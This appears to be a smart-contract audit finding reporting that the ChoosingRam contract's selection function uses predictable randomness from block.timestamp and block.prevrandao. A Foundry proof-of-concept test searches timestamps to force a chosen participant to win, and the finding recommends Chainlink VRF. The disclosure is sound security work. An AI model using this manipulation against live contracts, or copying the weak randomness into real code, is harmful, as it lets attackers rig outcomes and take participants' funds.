The ChoosingRam contract uses a pseudorandom number generator in the selectRamIfNotSelected
functions. The current implementation relies on block.timestamp
and block.prevrandao
, which are predictable and can be manipulated by miners, leading to potential unfair outcomes in the selection of Ram.
Weak Random number generator in selectRamIfNotSelected Function:
**Proof of Concept **
```
function test_canManipulateRamSelection() public {
// To be selected as winner
address winner = makeAddr("winner");
vm.deal(player1, 1 ether);
vm.deal(player2, 1 ether);
vm.deal(player3, 1 ether);
vm.deal(winner, 1 ether);
vm.prank(player1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player2);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player3);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(winner);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
console.log("Participant length", ramNFT.tokenCounter());
// Set a range of timestamps to simulate a miner's control over the block timestamp
uint256 startTime = 1728691200 + 1; // The earliest possible time
uint256 endTime = 1728777600; // The latest possible time
// Loop through the range to find a timestamp that makes the winner selected
for (uint256 timestamp = startTime; timestamp <= endTime; timestamp++) {
uint256 random = uint256(keccak256(abi.encodePacked(timestamp, block.prevrandao))) % 4;
if (random == 3) {
vm.warp(timestamp);
break;
}
}
// Organiser selects Ram
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
// Assert that the winner was selected
assertEq(choosingRam.selectedRam(), winner);
}
```
Critical - The randomness can be predicted. This undermines the fairness of the Ram selection process.
Manual review
Static analysis
Foundry
Use Chainlink VRF (Verifiable Random Function):
The organizer is trusted, but the function `ChoosingRam::selectRamIfNotSelected` uses a way to generate a random number that is not completely random.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.